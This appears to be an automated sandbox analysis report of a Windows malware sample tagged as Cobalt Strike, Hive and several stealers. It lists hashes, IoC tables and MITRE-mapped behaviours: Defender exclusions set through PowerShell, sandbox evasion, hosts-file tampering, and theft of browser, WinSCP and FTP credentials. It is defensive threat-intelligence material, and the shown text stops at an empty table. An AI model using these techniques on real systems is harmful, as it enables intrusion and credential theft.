b0cf13898f47bd979435a9c98bcda87bc080f9ce52151b05e94ad6ede767b662

Analysis

max time kernel
147s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/06/2026, 16:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
Size 2.6MB
Sample260605-tplfmsaz4v
SHA256 b0cf13898f47bd979435a9c98bcda87bc080f9ce52151b05e94ad6ede767b662
MD5 b89e401bfb55d5278b31e5dd49628c18
SHA1 83b3065e571b2964e1aea671ef4a0566a3eb1959
SHA512 ee351def15a41f95525a483e056b91776d629670521b7d33875d071b08b54835a1d44e051746787f2f048769a195ad694e634b52464e4451fe0eb98beaee7e56
SSDEEP 49152:cdN3Brb/TYvO90dL3BmAFd4A64nsfJniZY7cN2N5FgOLe+2xMKhNyxB3iLQ8QkjF:83J7LNyMlmskJPeNk
TLSH
T102C59E02F55160BAD4D9E6318566E181326138180F363BE37F95BABA1EF77C04F397A8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution persistence spyware stealer themida trojan

Malware Config

Signatures

Suspicious use of NtCreateProcessExOtherParentProcess 23 IoCs

description	pid	Process	procid_target
PID 6024 created 3804	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	80
PID 6024 created 656	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	81
PID 6024 created 988	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	82
PID 6024 created 4040	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	83
PID 6024 created 1560	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	84
PID 6024 created 240	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	86
PID 6024 created 840	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	87
PID 6024 created 4276	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	89
PID 6024 created 3804	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	80
PID 6024 created 3804	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	80
PID 6024 created 4040	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	83
PID 6024 created 4040	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	83
PID 6024 created 2632	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	92
PID 6024 created 5736	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	93
PID 6024 created 1860	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	94
PID 6024 created 1092	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	95
PID 6024 created 3400	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	96
PID 6024 created 3300	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	98
PID 6024 created 5908	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	99
PID 6024 created 2632	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	92
PID 6024 created 2632	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	92
PID 6024 created 1092	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	95
PID 6024 created 1092	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe	95

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2280 created 644	2280	powershell.EXE	5
PID 2588 created 644	2588	powershell.EXE	5

Detects executables packed with Themida 6 IoCs

resource	yara_rule
behavioral2/files/0x000d000000026fd3-2233.dat	INDICATOR_EXE_Packed_Themida
behavioral2/memory/4940-2235-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/4940-2242-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/4940-2277-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/5708-2281-0x00007FF63BC90000-0x00007FF63CC46000-memory.dmp	INDICATOR_EXE_Packed_Themida
behavioral2/memory/5708-3039-0x00007FF63BC90000-0x00007FF63CC46000-memory.dmp	INDICATOR_EXE_Packed_Themida

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	60443a91.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1548	powershell.exe
1064	powershell.exe
2588	powershell.EXE
2280	powershell.EXE

Downloads MZ/PE file 1 IoCs

flow	pid	Process
58	6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	60443a91.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	60443a91.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	60443a91.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
4940	60443a91.exe
5708	updater.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000d000000026fd3-2233.dat	themida
behavioral2/memory/4940-2235-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp	themida
behavioral2/memory/4940-2242-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp	themida
behavioral2/memory/4940-2277-0x00007FF6F8530000-0x00007FF6F94E6000-memory.dmp	themida
behavioral2/memory/5708-2281-0x00007FF63BC90000-0x00007FF63CC46000-memory.dmp	themida
behavioral2/memory/5708-3039-0x00007FF63BC90000-0x00007FF63CC46000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	60443a91.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5340	powercfg.exe
5312	powercfg.exe
6044	powercfg.exe
2908	powercfg.exe
440	powercfg.exe
4556	powercfg.exe
2300	powercfg.exe
4164	powercfg.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	60443a91.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
4940	60443a91.exe
5708	updater.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4940 set thread context of 2620	4940	60443a91.exe	136
PID 2280 set thread context of 3044	2280	powershell.EXE	150
PID 5708 set thread context of 2216	5708	updater.exe	168
PID 5708 set thread context of 4344	5708	updater.exe	173
PID 5708 set thread context of 3972	5708	updater.exe	174
PID 2588 set thread context of 2508	2588	powershell.EXE	178

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5276	sc.exe
5548	sc.exe
4304	sc.exe
4828	sc.exe
4560	sc.exe
244	sc.exe
2888	sc.exe
4088	sc.exe
5232	sc.exe
1472	sc.exe
4872	sc.exe
1804	sc.exe
4756	sc.exe
5332	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4040	chrome.exe
1092	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-226940941-599731907-2645636698-1000\{99E556C7-2760-4198-9C75-BD2F37BE7E39}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
3804	chrome.exe
3804	chrome.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
6024	2026-06-05_b89e401bfb55d5278b31e5dd49628c18_cobalt-strike_frostygoop_hive_luca-stealer_salatstealer_sliver_snatch.exe
4940	60443a91.exe
1064	powershell.exe
1064	powershell.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe
4940	60443a91.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3268	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3804	chrome.exe
3804	chrome.exe
3804	chrome.exe
2632	msedge.exe
2632	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
